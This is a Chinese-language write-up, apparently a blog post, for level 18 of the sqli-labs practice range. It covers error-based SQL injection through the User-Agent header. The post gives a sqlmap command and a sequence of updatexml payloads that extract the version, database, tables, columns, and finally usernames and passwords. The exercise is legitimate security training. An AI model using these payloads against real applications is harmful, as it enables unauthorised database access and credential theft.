sqli-lab靶场18关基于post的头部信息报错注入

知识点

$_SERVER['HTTP_USER_AGENT']

这是用来检查浏览页面的访问者在用什么浏览器.
  其中需要检查用户的 agent 字符串,它是浏览器发送的 HTTP 请求的一部分。
  如:var_dump($_SERVER['HTTP_USER_AGENT']);
  输出:string(65) "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Fire

通过查看源码看到,是一个insert的语句,我们通过构造updatexml xpath错误信息来返回数据
insert也是和update差不多,是一个插入数据
通过构造User-Agent

payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0or updatexml(1,concat(0x7e,database(),0x7e),1),,) #

在这里插入图片描述他爆出了我们的ip地址还有头部信息

第十八关

sqlmap方法:
针对于这一关我们也可以直接使用SQLmap来进行自动化注入:
首先,先将我们在bp中捕获的访问数据保存到1.txt文本中来,在使用SQLMAP进行注入

python sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique BTES

源码分析
可以看到这里定义了user_agent头部信息和IP地址
下边只输出了ip地址
然后下边有对uname和passwd都进行了过滤
在这里插入图片描述查看以下查询语句是用什么进行连接的
很明显是用and来连接的
在这里插入图片描述再看一下查询语句通过什么闭合的
在这里插入图片描述可以看到ip和uagent都是通过单引号闭合的
所以突破点找到了
然后咱们查询语句不论是报错还是双查询语句都要从user_agent头部信息中进行执行

一、判断注入点

发现他爆错信息是User-Agent:里面的信息,所以测试语句要在这里面进行
在这里插入图片描述所以我们要进行的闭合点是user_agent上

' and updatexml(1,concat(0x7e,(1),0x7e),1),1,1)#   

在这里插入图片描述闭合点找出来了,就进行构造payload

二、构造payload

1.爆版本信息

' and updatexml(1,concat(0x2c,(version()),0x2c),1),1,1)#   

在这里插入图片描述2.爆库

' and updatexml(1,concat(0x2c,(database()),0x2c),1),1,1)#

在这里插入图片描述3.爆表

' and updatexml(1,concat(0x2c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x2c),1),1,1)#   

在这里插入图片描述4.爆字段

' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x2c),1),1,1)#  (id)  
' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x2c),1),1,1)#   (username)
' and updatexml(1,concat(0x2c,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x2c),1),1,1)#   (password)

在这里插入图片描述5.爆数据

' and updatexml(1,concat(0x2c,(select username from users limit 0,1),0x2c),1),1,1)#

在这里插入图片描述' and updatexml(1,concat(0x2c,(select password from users limit 0,1),0x2c),1),1,1)#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值